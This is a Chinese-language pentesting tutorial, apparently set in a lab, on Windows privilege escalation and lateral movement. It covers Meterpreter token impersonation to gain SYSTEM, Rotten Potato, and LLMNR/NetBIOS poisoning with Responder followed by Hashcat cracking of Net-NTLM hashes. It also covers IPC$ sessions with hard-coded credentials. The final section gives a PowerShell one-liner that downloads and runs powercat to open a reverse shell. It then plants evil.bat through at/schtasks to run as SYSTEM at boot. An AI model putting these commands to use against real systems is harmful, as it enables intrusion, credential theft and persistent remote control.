# 提权&获得令牌

## 17、令牌窃取

### 0、前言 <a href="#toc-heading-1" id="toc-heading-1"></a>

令牌（Token）是指系统中的临时秘钥，相当于账户和密码，有了令牌就可以在不知道密码的情况下访问目标相关资源了，这些令牌将持续存在于系统中，除非系统重新启动。

### 1、MSF <a href="#toc-heading-2" id="toc-heading-2"></a>

在获取到 Meterpreter Shell 后，使用以下命令获取令牌

```
load incognito
list_tokens -u
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MiBKegO_RmPWf0J1SKy%2F-MiBL22wQpIzpN0V3KA4%2Fimage.png?alt=media\&token=819f9de3-f213-469b-af43-8505d007fa20)

这里有两种令牌，一个是 Delegation Tokens 即授权令牌，还有一种是 Impersonation Tokens 即模拟令牌。前者支持交互式登录比如远程桌面，后者支持非交互的会话。

令牌获取的数量取决于获取到 Shell 的权限等级。

如果已经获取到了 SYSTEM 权限的令牌，那么攻击者就可以伪造这个令牌，拥有对应的权限。

```
impersonate_token "NT AUTHORITY\SYSTEM"
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MiBKegO_RmPWf0J1SKy%2F-MiBLJItaxukrTT5rbbG%2Fimage.png?alt=media\&token=8c66b35b-dbbf-4041-884a-b99d7b355b27)

可以看到我们已经通过伪造 SYSTEM 的令牌拿到 SYSTEM 权限了。

不过值得注意的是，如果不加双引号，\ 需要改成 `\\` 才行，个人猜测可能是因为 \ 被当做转义字符处理的原因。

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MiBKegO_RmPWf0J1SKy%2F-MiBLSAOvndjVhM833Zv%2Fimage.png?alt=media\&token=ae4e4936-39fd-4d8b-a1ed-7d7dca0c2cb8)

### 2、Rotten Potato 本地提权 <a href="#toc-heading-3" id="toc-heading-3"></a>

Rotten Potato 直译过来就烂土豆的意思，如果目标中存在有效的令牌，就可以通过 Rotten Potato 模拟用户令牌实现提权。

Rotten Potato 项目地址：<https://github.com/breenmachine/RottenPotatoNG>

运行 RottenPotato.exe 直接弹出 SYSTEM 权限的 CMD 窗口，不需要用到 MSF。<br>

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MiBKegO_RmPWf0J1SKy%2F-MiBLc665HrF1S9m4XhE%2Fimage.png?alt=media\&token=71861944-8a50-40f3-a644-7b3113653821)

## 18、LLMNR 和 NetBIOS 欺骗攻击

### 0、前言 <a href="#toc-heading-1" id="toc-heading-1"></a>

如果已经进入目标网络，但是没有获得凭证，可以使用 LLMNR 和 NetBIOS 欺骗攻击对目标进行无凭证条件下的权限获取。

### 1、基本概念 <a href="#toc-heading-2" id="toc-heading-2"></a>

#### LLMNR <a href="#toc-heading-3" id="toc-heading-3"></a>

本地链路多播名称解析（LLMNR）是一种域名系统数据包格式，当局域网中的 DNS 服务器不可用时，DNS 客户端就会使用 LLMNR 解析本地网段中机器的名称，直到 DNS 服务器恢复正常为止。

从 Windows Vista 开始支持 LLMNR ，Linux 系统也通过 systemd 实现了此协议，同时 LLMNR 也支持 IPv6。

#### NetBIOS <a href="#toc-heading-4" id="toc-heading-4"></a>

NetBIOS 协议是由 IBM 公司开发，主要用于数十台计算机的小型局域网，根据 NetBIOS 协议广播获得计算机名称，并将其解析成相应的 IP 地址。

从 Windows NT 以后版本的所有操作系统中都可以使用 NetBIOS，不过 NetBIOS 不支持 IPv6.

NetBIOS 提供的三种服务：

​ i、NetBIOS-NS（名称服务）：主要用于名称注册和解析，以启动会话和分发数据报，该服务默认监听 UDP 137 端口，也可以使用 TCP 的 137 端口进行监听。

​ ii、Datagram Distribution Service（数据报分发服务）：无连接服务，该服务负责进行错误检测和恢复，默认监听 UDP 138 端口。

​ iii、Session Service（会话服务）：允许两台计算机建立连接，默认使用 TCP 139 端口。

#### Net-NTLM Hash <a href="#toc-heading-5" id="toc-heading-5"></a>

> NTLM 即 NT LAN Manager，NTLM 是指 telnet 的一种验证身份方式，即问询/应答协议，是 Windows NT 早期版本的标准安全协议。

Net-NTLM Hash 不同于 NTLM Hash，NTLM Hash 是 Windows 登录密码的 Hash 值，可以在 Windows 系统的 SAM 文件或者域控的 NTDS.dit 文件中提取到出来，NTLM Hash 支持哈希传递攻击。

Net-NTLM Hash 是网络环境下 NTLM 认证的 Hash，使用 Responder 抓取的通常就是 Net-NTLM Hash，该 Hash 不能进行哈希传递，但可用于 NTLM 中继攻击或者使用 Hashcat 等工具碰撞出明文进行横向。

### 2、利用 <a href="#toc-heading-6" id="toc-heading-6"></a>

Responder 是一款使用 Python 编写用于毒化 LLMNR 和 NBT-NS 请求的一款工具。

假设我们已连接到 Windows Active Directory 环境，当网络上的设备尝试用 LLMNR 和 NBT-NS（NetBIOS 名称服务）请求来解析目标机器时，Responder 就会伪装成目标机器。

当受害者机器尝试登陆攻击者机器，Responder 就可以获取受害者机器用户的 Net-NTLM 哈希值。

Responder 项目地址：<https://github.com/lgandx/Responder>

Responder 不支持 Windows，这里使用 Kali 进行演示。

Responder 开启监听，-I 指定网卡，这里 eth1 的 IP 为 192.168.7.65

```
python Responder.py -I eth1
```

开启监听后，当目标主机上有人访问 Responder 主机的共享目录时，就会看到对方的 Net-NTLM 哈希值了。<br>

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MiBKegO_RmPWf0J1SKy%2F-MiBLsHRqAxeezW84cwX%2Fimage.png?alt=media\&token=b9889301-e45e-444a-9cfa-413ad19fe78f)

再利用 Hashcat 进行碰撞

```
hashcat -m 5600 hash.txt password.txt -D 1
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MiBKegO_RmPWf0J1SKy%2F-MiBM19cuH2Z7ArbCp8E%2Fimage.png?alt=media\&token=0a98bf73-e0ad-4657-9be8-8f01c43da393)

<br>

> `参考文章：`
>
> [`https://www.jianshu.com/p/a210528f9b35`](https://www.jianshu.com/p/a210528f9b35)
>
> [`https://baike.baidu.com/item/NTLM/6371298`](https://baike.baidu.com/item/NTLM/6371298)
>
> [`https://baike.baidu.com/item/LLMNR/1116392`](https://baike.baidu.com/item/LLMNR/1116392)
>
> [`https://www.freebuf.com/articles/system/194549.html`](https://www.freebuf.com/articles/system/194549.html)
>
> [`https://baike.baidu.com/item/NetBIOS%E5%8D%8F%E8%AE%AE/8938996`](https://baike.baidu.com/item/NetBIOS%E5%8D%8F%E8%AE%AE/8938996)

## 19、IPC 与计划任务

### 0、前言 <a href="#toc-heading-1" id="toc-heading-1"></a>

在多层代理的环境中，由于网络限制，通常采用命令行的方式连接主机，这里学习下 IPC 建立会话与配置计划任务的相关点。

### 1、IPC <a href="#toc-heading-2" id="toc-heading-2"></a>

IPC (Internet Process Connection) 是为了实现进程间通信而开放的命名管道，当目标开启了 IPC$ 文件共享并得到用户账号密码后，就可以使用 IPC 建立连接，获取权限。

建立 IPC 连接：

```
net use \\192.168.7.107\ipc$ "1qaz@WSX" /user:administrator
```

输入 net use 可以查看当前建立的连接

```
C:\>net use \\192.168.7.107\ipc$ "1qaz@WSX" /user:administrator
命令成功完成。

C:\>net use
会记录新的网络连接。

状态       本地        远程                      网络
-------------------------------------------------------------------------------
OK                     \\192.168.7.107\ipc$      Microsoft Windows Network
命令成功完成。
```

映射磁盘到本地

```
net use t: \\192.168.7.107\c$
```

如果想删除映射的磁盘

```
net use t: /del
```

dir 列出对方目录

```
dir \\192.168.7.107\c$
```

```
C:\>dir \\192.168.7.107\c$
 驱动器 \\192.168.7.107\c$ 中的卷没有标签。
 卷的序列号是 BC2F-8F01

 \\192.168.7.107\c$ 的目录

2020/11/24  17:28    <DIR>          Program Files
2020/11/24  17:26    <DIR>          Program Files (x86)
2021/02/13  17:49    <DIR>          TEMP
2021/08/02  11:42    <DIR>          Users
2020/11/25  08:37    <DIR>          Windows
               0 个文件              0 字节
              5 个目录 32,833,009,664 可用字节
```

tasklist 查看进程

```
tasklist /S 192.168.7.107 /U administrator /P 1qaz@WSX
```

```
C:\>tasklist /S 192.168.7.107 /U administrator /P 1qaz@WSX

映像名称                       PID 会话名              会话#       内存使用
========================= ======== ================ =========== ============
System Idle Process              0                            0         24 K
System                           4                            0        368 K
smss.exe                       260                            0        628 K
csrss.exe                      356                            0      2,360 K
wininit.exe                    408                            0        264 K
csrss.exe                      420                            1      8,692 K
winlogon.exe                   468                            1      2,012 K
services.exe                   512                            0      7,460 K
lsass.exe                      520                            0     10,216 K
lsm.exe                        528                            0      4,148 K
spoolsv.exe                   1356                            0      6,504 K
svchost.exe                   1392                            0      7,028 K
```

使用 \del 可断开连接

```
net use \\192.168.7.107\ipc$ /del
```

### 2、计划任务 <a href="#toc-heading-3" id="toc-heading-3"></a>

Windows 可用于创建计划任务的命令有两个，分别是 at 和 schtasks，at 在 Windows Server 2008 及之后的系统中，已经被废弃了。

这里看看在建立 IPC 连接后，使用计划任务运行可执行文件，主要步骤如下：

1、查看目标主机时间

2、上传可执行文件到目标主机

3、设置计划任务执行可执行文件

4、删除计划任务

首先查看下目标主机时间

```
net time \\192.168.7.107
```

```
C:\>net time \\192.168.7.107
\\192.168.7.107 的当前时间是 2021/8/2 14:28:01
命令成功完成。
```

创建一个反弹木马 bat 程序，这里使用 PowerShell 进行反弹，bat 文件内容如下：

```
powershell.exe -nop -w hidden -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://ghproxy.com/raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.7.4 -p 4444 -e cmd"
```

在攻击机上开启 nc 监听

```
nc -lvp 4444
```

将 bat 程序上传到目标主机

```
copy evil.bat \\192.168.7.107\c$
```

使用 at 创建计划任务

```
at \\192.168.7.107 14:30 C:\evil.bat
```

如果想清除 ID 为 1 的计划任务

```
at \\192.168.7.107 1 /del
```

使用 schtasks 创建计划任务

```
# 开机以 system 权限执行 C:\evil.bat
schtasks /create /s 192.168.7.107 /tn evil /sc onstart /tr C:\evil.bat /ru system /f

# 在 2021/08/03 前的每一天的 14:30:00 执行 C:\evil.bat
schtasks /create /s 192.168.7.107 /tn evil /tr C:\evil.bat /sc daily /st 14:30:00 /ed 2021/08/03

# 立刻运行名称为 evil 的任务
schtasks /run /s 192.168.7.107 /i /tn "evil"
```

如果想清除名称为 evil 的计划任务

```
schtasks /delete /s 192.168.7.107 /tn "evil" /f
```

在建立 IPC 连接后，除了使用计划任务进行间接的反弹 Shell，还可以通过 PsExec 直接反弹 Shell

PsExec 下载地址：<https://download.sysinternals.com/files/PSTools.zip>

```
Psexec.exe -accepteula \\192.168.7.107 -s cmd.exe
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MiBKegO_RmPWf0J1SKy%2F-MiBMkCMA1OyvOD0Pb0C%2Fimage.png?alt=media\&token=0793e089-1f22-41dc-b774-e41ada3bbb3f)

&#x20;参考文章：\
<https://www.freebuf.com/articles/web/251389.html>
